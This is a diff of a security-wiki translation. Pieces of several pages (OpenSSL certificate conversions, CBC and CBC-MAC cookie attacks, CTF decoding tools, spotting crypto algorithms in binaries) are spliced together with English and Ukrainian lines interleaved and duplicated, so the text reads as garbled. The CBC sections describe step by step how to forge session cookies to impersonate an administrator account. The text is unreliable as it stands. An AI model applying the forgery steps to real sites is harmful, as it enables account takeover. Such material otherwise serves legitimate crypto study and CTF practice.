**Конверсії PEM** є важливими для сумісності:
- **x509 до PEM**
```bash
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
```
- **PEM to DER**
- **PEM до DER**
```bash
openssl x509 -outform der -in certificatename.pem -out certificatename.der
```
- **DER to PEM**
- **DER до PEM**
```bash
openssl x509 -inform der -in certificatename.der -out certificatename.pem
```
- **PEM to P7B**
- **PEM до P7B**
```bash
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
```
- **PKCS7 to PEM**
- **PKCS7 до PEM**
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
```
**PFX конверсії** є критично важливими для управління сертифікатами на Windows:
**PFX conversions** are crucial for managing certificates on Windows:
- **PFX to PEM**
- **PFX до PEM**
```bash
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
```
- **PFX to PKCS#8** involves two steps:
1. Convert PFX to PEM
- **PFX до PKCS#8** включає два етапи:
1. Конвертувати PFX в PEM
```bash
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
```
2. Convert PEM to PKCS8
2. Перетворення PEM в PKCS8
```bash
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
```
- **P7B to PFX** also requires two commands:
1. Convert P7B to CER
- **P7B до PFX** також вимагає двох команд:
1. Конвертувати P7B в CER
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
```
2. Convert CER and Private Key to PFX
2. Перетворення CER та приватного ключа в PFX
```bash
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
```
- **ASN.1 (DER/PEM) editing** (works with certificates or almost any other ASN.1 structure):
1. Clone [asn1template](https://github.com/wllm-rbnt/asn1template/)
- **Редагування ASN.1 (DER/PEM)** (працює з сертифікатами або майже будь-якою іншою структурою ASN.1):
1. Клонуйте [asn1template](https://github.com/wllm-rbnt/asn1template/)
```bash
git clone https://github.com/wllm-rbnt/asn1template.git
```
2. Convert DER/PEM to OpenSSL's generation format
2. Перетворення DER/PEM у формат генерації OpenSSL
```bash
asn1template/asn1template.pl certificatename.der > certificatename.tpl
asn1template/asn1template.pl -p certificatename.pem > certificatename.tpl
```
3. Edit certificatename.tpl according to your requirements
3. Відредагуйте certificatename.tpl відповідно до ваших вимог
```bash
vim certificatename.tpl
```
4. Rebuild the modified certificate
4. Відновіть модифікований сертифікат
```bash
openssl asn1parse -genconf certificatename.tpl -out certificatename_new.der
openssl asn1parse -genconf certificatename.tpl -outform PEM -out certificatename_new.pem
```
---
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
---
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,54 +2,54 @@
# CBC
If the **cookie** is **only** the **username** (or the first part of the cookie is the username) and you want to impersonate the username "**admin**". Then, you can create the username **"bdmin"** and **bruteforce** the **first byte** of the cookie.
Якщо **cookie** є **тільки** **іменем користувача** (або перша частина cookie є іменем користувача) і ви хочете видати себе за користувача "**admin**". Тоді ви можете створити ім'я користувача **"bdmin"** і **bruteforce** **перший байт** cookie.
# CBC-MAC
**Cipher block chaining message authentication code** (**CBC-MAC**) is a method used in cryptography. It works by taking a message and encrypting it block by block, where each block's encryption is linked to the one before it. This process creates a **chain of blocks**, making sure that changing even a single bit of the original message will lead to an unpredictable change in the last block of encrypted data. To make or reverse such a change, the encryption key is required, ensuring security.
**Код автентифікації повідомлень з використанням ланцюга блоку шифрування** (**CBC-MAC**) є методом, що використовується в криптографії. Він працює, беручи повідомлення і шифруючи його блок за блоком, де шифрування кожного блоку пов'язане з попереднім. Цей процес створює **ланцюг блоків**, що забезпечує, що зміна навіть одного біта оригінального повідомлення призведе до непередбачуваної зміни в останньому блоці зашифрованих даних. Щоб внести або скасувати таку зміну, потрібен ключ шифрування, що забезпечує безпеку.
To calculate the CBC-MAC of message m, one encrypts m in CBC mode with zero initialization vector and keeps the last block. The following figure sketches the computation of the CBC-MAC of a message comprising blocks![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) using a secret key k and a block cipher E:
Щоб обчислити CBC-MAC повідомлення m, шифрують m в режимі CBC з нульовим вектором ініціалізації і зберігають останній блок. Наступна фігура ілюструє обчислення CBC-MAC повідомлення, що складається з блоків![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) з використанням секретного ключа k і блочного шифру E:
![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png](<https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png>)
# Vulnerability
# Уразливість
With CBC-MAC usually the **IV used is 0**.\
This is a problem because 2 known messages (`m1` and `m2`) independently will generate 2 signatures (`s1` and `s2`). So:
Зазвичай **IV, що використовується, дорівнює 0**.\
Це є проблемою, оскільки 2 відомі повідомлення (`m1` і `m2`) незалежно генеруватимуть 2 підписи (`s1` і `s2`). Отже:
- `E(m1 XOR 0) = s1`
- `E(m2 XOR 0) = s2`
Then a message composed by m1 and m2 concatenated (m3) will generate 2 signatures (s31 and s32):
Тоді повідомлення, що складається з m1 і m2, конкатенованих (m3), генеруватиме 2 підписи (s31 і s32):
- `E(m1 XOR 0) = s31 = s1`
- `E(m2 XOR s1) = s32`
**Which is possible to calculate without knowing the key of the encryption.**
**Що можливо обчислити без знання ключа шифрування.**
Imagine you are encrypting the name **Administrator** in **8bytes** blocks:
Уявіть, що ви шифруєте ім'я **Administrator** в **8байтових** блоках:
- `Administ`
- `rator\00\00\00`
You can create a username called **Administ** (m1) and retrieve the signature (s1).\
Then, you can create a username called the result of `rator\00\00\00 XOR s1`. This will generate `E(m2 XOR s1 XOR 0)` which is s32.\
now, you can use s32 as the signature of the full name **Administrator**.
Ви можете створити ім'я користувача **Administ** (m1) і отримати підпис (s1).\
Потім ви можете створити ім'я користувача, яке є результатом `rator\00\00\00 XOR s1`. Це згенерує `E(m2 XOR s1 XOR 0)`, що є s32.\
Тепер ви можете використовувати s32 як підпис повного імені **Administrator**.
### Summary
### Резюме
1. Get the signature of username **Administ** (m1) which is s1
2. Get the signature of username **rator\x00\x00\x00 XOR s1 XOR 0** is s32**.**
3. Set the cookie to s32 and it will be a valid cookie for the user **Administrator**.
1. Отримайте підпис імені користувача **Administ** (m1), що є s1
2. Отримайте підпис імені користувача **rator\x00\x00\x00 XOR s1 XOR 0**, що є s32**.**
3. Встановіть cookie на s32, і це буде дійсний cookie для користувача **Administrator**.
# Attack Controlling IV
# Атака на контроль IV
If you can control the used IV the attack could be very easy.\
If the cookies is just the username encrypted, to impersonate the user "**administrator**" you can create the user "**Administrator**" and you will get it's cookie.\
Now, if you can control the IV, you can change the first Byte of the IV so **IV\[0] XOR "A" == IV'\[0] XOR "a"** and regenerate the cookie for the user **Administrator.** This cookie will be valid to **impersonate** the user **administrator** with the initial **IV**.
Якщо ви можете контролювати використовуваний IV, атака може бути дуже простою.\
Якщо cookie є просто зашифрованим іменем користувача, щоб видати себе за користувача "**administrator**", ви можете створити користувача "**Administrator**" і отримати його cookie.\
Тепер, якщо ви можете контролювати IV, ви можете змінити перший байт IV так, щоб **IV\[0] XOR "A" == IV'\[0] XOR "a"** і згенерувати cookie для користувача **Administrator.** Цей cookie буде дійсним для **імітування** користувача **administrator** з початковим **IV**.
## References
## Посилання
More information in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
Більше інформації на [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,7 +2,7 @@
{{#include ../banners/hacktricks-training.md}}
## Online Hashes DBs
## Онлайн бази даних хешів
- _**Google it**_
- [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240)
@ -16,124 +16,119 @@
- [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5)
- [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html)
## Magic Autosolvers
## Магічні авто-розв'язувачі
- [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey)
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magic module)
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Магічний модуль)
- [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
- [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking)
## Encoders
## Кодери
Most of encoded data can be decoded with these 2 ressources:
Більшість закодованих даних можна декодувати за допомогою цих 2 ресурсів:
- [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
### Substitution Autosolvers
### Авто-розв'язувачі заміни
- [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
- [https://quipqiup.com/](https://quipqiup.com) - Very good !
- [https://quipqiup.com/](https://quipqiup.com) - Дуже добре!
#### Caesar - ROTx Autosolvers
#### Авто-розв'язувачі Цезаря - ROTx
- [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript)
#### Atbash Cipher
#### Шифр Атбаш
- [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php)
### Base Encodings Autosolver
### Авто-розв'язувачі базового кодування
Check all these bases with: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
Перевірте всі ці бази за допомогою: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
- **Ascii85**
- `BQ%]q@psCd@rH0l`
- `BQ%]q@psCd@rH0l`
- **Base26** \[_A-Z_]
- `BQEKGAHRJKHQMVZGKUXNT`
- `BQEKGAHRJKHQMVZGKUXNT`
- **Base32** \[_A-Z2-7=_]
- `NBXWYYLDMFZGCY3PNRQQ====`
- `NBXWYYLDMFZGCY3PNRQQ====`
- **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_]
- `pbzsaamdcf3gna5xptoo====`
- `pbzsaamdcf3gna5xptoo====`
- **Base32 Geohash** \[_0-9b-hjkmnp-z_]
- `e1rqssc3d5t62svgejhh====`
- `e1rqssc3d5t62svgejhh====`
- **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_]
- `D1QPRRB3C5S62RVFDHGG====`
- `D1QPRRB3C5S62RVFDHGG====`
- **Base32 Extended Hexadecimal** \[_0-9A-V_]
- `D1NMOOB3C5P62ORFDHGG====`
- `D1NMOOB3C5P62ORFDHGG====`
- **Base45** \[_0-9A-Z $%\*+-./:_]
- `59DPVDGPCVKEUPCPVD`
- `59DPVDGPCVKEUPCPVD`
- **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_]
- `2yJiRg5BF9gmsU6AC`
- `2yJiRg5BF9gmsU6AC`
- **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_]
- `2YiHqF5bf9FLSt6ac`
- `2YiHqF5bf9FLSt6ac`
- **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_]
- `pyJ5RgnBE9gm17awU`
- `pyJ5RgnBE9gm17awU`
- **Base62** \[_0-9A-Za-z_]
- `g2AextRZpBKRBzQ9`
- `g2AextRZpBKRBzQ9`
- **Base64** \[_A-Za-z0-9+/=_]
- `aG9sYWNhcmFjb2xh`
- `aG9sYWNhcmFjb2xh`
- **Base67** \[_A-Za-z0-9-_.!\~\_]
- `NI9JKX0cSUdqhr!p`
- `NI9JKX0cSUdqhr!p`
- **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- `BQ%]q@psCd@rH0l`
- `BQ%]q@psCd@rH0l`
- **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- `<~BQ%]q@psCd@rH0l~>`
- `<~BQ%]q@psCd@rH0l~>`
- **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_]
- `Xm4y`V\_|Y(V{dF>\`
- `Xm4y`V\_|Y(V{dF>\`
- **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
- **Base85 (XML)** \[\_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\_\_]
- `Xm4y|V{~Y+V}dF?`
- `Xm4y|V{~Y+V}dF?`
- **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_]
- `frDg[*jNN!7&BQM`
- `frDg[*jNN!7&BQM`
- **Base100** \[]
- `👟👦👣👘👚👘👩👘👚👦👣👘`
- `👟👦👣👘👚👘👩👘👚👦👣👘`
- **Base122** \[]
- `4F ˂r0Xmvc`
- `4F ˂r0Xmvc`
- **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_]
- `MIc3KiXa+Ihz+lrXMIc3KbCC`
- `MIc3KiXa+Ihz+lrXMIc3KbCC`
- **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_]
- `DmPsv8J7qrlKEoY7`
- `DmPsv8J7qrlKEoY7`
- **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_]
- `kLD8iwKsigSalLJ5`
- `kLD8iwKsigSalLJ5`
- **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_]
- `ayRiIo1gpO+uUc7g`
- `ayRiIo1gpO+uUc7g`
- **ESAB46** \[]
- `3sHcL2NR8WrT7mhR`
- `3sHcL2NR8WrT7mhR`
- **MEGAN45** \[]
- `kLD8igSXm2KZlwrX`
- `kLD8igSXm2KZlwrX`
- **TIGO3FX** \[]
- `7AP9mIzdmltYmIP9mWXX`
- `7AP9mIzdmltYmIP9mWXX`
- **TRIPO5** \[]
- `UE9vSbnBW6psVzxB`
- `UE9vSbnBW6psVzxB`
- **FERON74** \[]
- `PbGkNudxCzaKBm0x`
- `PbGkNudxCzaKBm0x`
- **GILA7** \[]
- `D+nkv8C1qIKMErY1`
- `D+nkv8C1qIKMErY1`
- **Citrix CTX1** \[]
- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
### HackerizeXS \[_╫Λ↻├☰┏_]
```
╫☐↑Λ↻Λ┏Λ↻☐↑Λ
```
- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Мертва: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
### Morse
### Морзе
```
.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
```
- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Мертва: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
### UUencoder
```
begin 644 webutils_pl
M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(
@ -142,129 +137,107 @@ F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$`
`
end
```
- [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu)
### XXEncoder
```
begin 644 webutils_pl
hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236
5Hol-G2xAEE++
end
```
- [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
### YEncoder
```
=ybegin line=128 size=28 name=webutils_pl
ryvkryvkryvkryvkryvkryvkryvk
=yend size=28 crc32=35834c86
```
- [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc)
### BinHex
```
(This file must be converted with BinHex 4.0)
:#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p
-38K26%'d9J!!:
```
- [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex)
### ASCII85
```
<~85DoF85DoF85DoF85DoF85DoF85DoF~>
```
- [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85)
### Dvorak keyboard
### Клавіатура Дворжака
```
drnajapajrna
```
- [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard)
### A1Z26
Letters to their numerical value
Літери до їх числового значення
```
8 15 12 1 3 1 18 1 3 15 12 1
```
### Шифр Афіна Encode
### Affine Cipher Encode
Letter to num `(ax+b)%26` (_a_ and _b_ are the keys and _x_ is the letter) and the result back to letter
Літера в число `(ax+b)%26` (_a_ та _b_ - це ключі, а _x_ - літера) і результат назад у літеру
```
krodfdudfrod
```
### SMS Код
### SMS Code
**Multitap** [замінює літеру](https://www.dcode.fr/word-letter-change) на повторювані цифри, визначені відповідним кодом клавіші на мобільному [клавіатурі телефону](https://www.dcode.fr/phone-keypad-cipher) (цей режим використовується при написанні SMS).\
Наприклад: 2=A, 22=B, 222=C, 3=D...\
Ви можете ідентифікувати цей код, оскільки ви побачите\*\* кілька повторюваних чисел\*\*.
**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) by repeated digits defined by the corresponding key code on a mobile [phone keypad](https://www.dcode.fr/phone-keypad-cipher) (This mode is used when writing SMS).\
For example: 2=A, 22=B, 222=C, 3=D...\
You can identify this code because you will see\*\* several numbers repeated\*\*.
Ви можете декодувати цей код на: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
You can decode this code in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
### Bacon Code
Substitude each letter for 4 As or Bs (or 1s and 0s)
### Код Бекона
Замініть кожну літеру на 4 А або В (або 1s і 0s)
```
00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000
AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
```
### Runes
### Руни
![](../images/runes.jpg)
## Compression
## Стиснення
**Raw Deflate** and **Raw Inflate** (you can find both in Cyberchef) can compress and decompress data without headers.
**Raw Deflate** та **Raw Inflate** (обидва можна знайти в Cyberchef) можуть стискати та розпаковувати дані без заголовків.
## Easy Crypto
## Легка криптографія
### XOR - Autosolver
### XOR - Авто вирішувач
- [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/)
### Bifid
A keywork is needed
### Біфід
Потрібен ключове слово
```
fgaargaamnlunesuneoa
```
### Vigenere
A keywork is needed
Потрібен ключ.
```
wodsyoidrods
```
- [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)
- [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher)
- [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx)
## Strong Crypto
## Сильна криптографія
### Fernet
2 base64 strings (token and key)
### Фернет
2 рядки base64 (токен і ключ)
```
Token:
gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q==
@ -272,27 +245,24 @@ gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmC
Key:
-s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI=
```
- [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode)
### Samir Secret Sharing
A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_).
Секрет ділиться на X частин, і для його відновлення потрібно Y частин (_Y <=X_).
```
8019f8fa5879aa3e07858d08308dc1a8b45
80223035713295bddf0b0bd1b10a5340b89
803bc8cf294b3f83d88e86d9818792e80cd
```
[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/)
### OpenSSL brute-force
### OpenSSL брутфорс
- [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
- [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF)
## Tools
## Інструменти
- [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool)
- [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom)

View File

@ -1,184 +1,184 @@
# Cryptographic/Compression Algorithms
# Криптографічні/Стиснення Алгоритми
## Cryptographic/Compression Algorithms
## Криптографічні/Стиснення Алгоритми
{{#include ../../banners/hacktricks-training.md}}
## Identifying Algorithms
## Визначення Алгоритмів
If you ends in a code **using shift rights and lefts, xors and several arithmetic operations** it's highly possible that it's the implementation of a **cryptographic algorithm**. Here it's going to be showed some ways to **identify the algorithm that it's used without needing to reverse each step**.
Якщо ви закінчуєте в коді **використовуючи зсуви вправо та вліво, XOR та кілька арифметичних операцій**, це, ймовірно, реалізація **криптографічного алгоритму**. Тут будуть показані деякі способи **визначити алгоритм, який використовується, не потребуючи реверсувати кожен крок**.
### API functions
### API функції
**CryptDeriveKey**
If this function is used, you can find which **algorithm is being used** checking the value of the second parameter:
Якщо ця функція використовується, ви можете дізнатися, який **алгоритм використовується**, перевіривши значення другого параметра:
![](<../../images/image (156).png>)
Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
Перевірте тут таблицю можливих алгоритмів та їх призначених значень: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
**RtlCompressBuffer/RtlDecompressBuffer**
Compresses and decompresses a given buffer of data.
Стискає та розпаковує дані з даного буфера.
**CryptAcquireContext**
From [the docs](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): The **CryptAcquireContext** function is used to acquire a handle to a particular key container within a particular cryptographic service provider (CSP). **This returned handle is used in calls to CryptoAPI** functions that use the selected CSP.
З [документації](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): Функція **CryptAcquireContext** використовується для отримання дескриптора до певного контейнера ключів у певному постачальнику криптографічних послуг (CSP). **Цей повернений дескриптор використовується в викликах функцій CryptoAPI**, які використовують вибраний CSP.
**CryptCreateHash**
Initiates the hashing of a stream of data. If this function is used, you can find which **algorithm is being used** checking the value of the second parameter:
Ініціює хешування потоку даних. Якщо ця функція використовується, ви можете дізнатися, який **алгоритм використовується**, перевіривши значення другого параметра:
![](<../../images/image (549).png>)
\
Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
Перевірте тут таблицю можливих алгоритмів та їх призначених значень: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
### Code constants
### Константи коду
Sometimes it's really easy to identify an algorithm thanks to the fact that it needs to use a special and unique value.
Іноді дуже легко визначити алгоритм завдяки тому, що він потребує використання спеціального та унікального значення.
![](<../../images/image (833).png>)
If you search for the first constant in Google this is what you get:
Якщо ви шукаєте першу константу в Google, ось що ви отримаєте:
![](<../../images/image (529).png>)
Therefore, you can assume that the decompiled function is a **sha256 calculator.**\
You can search any of the other constants and you will obtain (probably) the same result.
Отже, ви можете припустити, що декомпільована функція є **калькулятором sha256.**\
Ви можете шукати будь-яку з інших констант, і ви отримаєте (ймовірно) той же результат.
### data info
### інформація про дані
If the code doesn't have any significant constant it may be **loading information from the .data section**.\
You can access that data, **group the first dword** and search for it in google as we have done in the section before:
Якщо код не має жодної значної константи, він може **завантажувати інформацію з секції .data**.\
Ви можете отримати доступ до цих даних, **групуючи перший dword** і шукати його в Google, як ми робили в попередньому розділі:
![](<../../images/image (531).png>)
In this case, if you look for **0xA56363C6** you can find that it's related to the **tables of the AES algorithm**.
У цьому випадку, якщо ви шукаєте **0xA56363C6**, ви можете знайти, що це пов'язано з **таблицями алгоритму AES**.
## RC4 **(Symmetric Crypt)**
## RC4 **(Симетричний Крипт)**
### Characteristics
### Характеристики
It's composed of 3 main parts:
Він складається з 3 основних частин:
- **Initialization stage/**: Creates a **table of values from 0x00 to 0xFF** (256bytes in total, 0x100). This table is commonly call **Substitution Box** (or SBox).
- **Scrambling stage**: Will **loop through the table** crated before (loop of 0x100 iterations, again) creating modifying each value with **semi-random** bytes. In order to create this semi-random bytes, the RC4 **key is used**. RC4 **keys** can be **between 1 and 256 bytes in length**, however it is usually recommended that it is above 5 bytes. Commonly, RC4 keys are 16 bytes in length.
- **XOR stage**: Finally, the plain-text or cyphertext is **XORed with the values created before**. The function to encrypt and decrypt is the same. For this, a **loop through the created 256 bytes** will be performed as many times as necessary. This is usually recognized in a decompiled code with a **%256 (mod 256)**.
- **Стадія ініціалізації/**: Створює **таблицю значень від 0x00 до 0xFF** (всього 256 байт, 0x100). Цю таблицю зазвичай називають **Substitution Box** (або SBox).
- **Стадія перемішування**: Буде **проходити через таблицю**, створену раніше (цикл 0x100 ітерацій, знову) модифікуючи кожне значення з **напіввипадковими** байтами. Для створення цих напіввипадкових байтів використовується **ключ RC4**. **Ключі RC4** можуть бути **від 1 до 256 байт в довжину**, однак зазвичай рекомендується, щоб вони були більше 5 байт. Зазвичай ключі RC4 мають довжину 16 байт.
- **Стадія XOR**: Нарешті, відкритий текст або шифротекст **XORed з значеннями, створеними раніше**. Функція для шифрування та дешифрування однакова. Для цього буде виконано **проходження через створені 256 байт** стільки разів, скільки необхідно. Це зазвичай розпізнається в декомпільованому коді з **%256 (mod 256)**.
> [!NOTE]
> **In order to identify a RC4 in a disassembly/decompiled code you can check for 2 loops of size 0x100 (with the use of a key) and then a XOR of the input data with the 256 values created before in the 2 loops probably using a %256 (mod 256)**
> **Щоб визначити RC4 у дизасембльованому/декомпільованому коді, ви можете перевірити 2 цикли розміру 0x100 (з використанням ключа), а потім XOR вхідних даних з 256 значеннями, створеними раніше в 2 циклах, ймовірно, використовуючи %256 (mod 256)**
### **Initialization stage/Substitution Box:** (Note the number 256 used as counter and how a 0 is written in each place of the 256 chars)
### **Стадія ініціалізації/Substitution Box:** (Зверніть увагу на число 256, яке використовується як лічильник, і як 0 записується в кожному місці з 256 символів)
![](<../../images/image (584).png>)
### **Scrambling Stage:**
### **Стадія перемішування:**
![](<../../images/image (835).png>)
### **XOR Stage:**
### **Стадія XOR:**
![](<../../images/image (904).png>)
## **AES (Symmetric Crypt)**
## **AES (Симетричний Крипт)**
### **Characteristics**
### **Характеристики**
- Use of **substitution boxes and lookup tables**
- It's possible to **distinguish AES thanks to the use of specific lookup table values** (constants). _Note that the **constant** can be **stored** in the binary **or created**_ _**dynamically**._
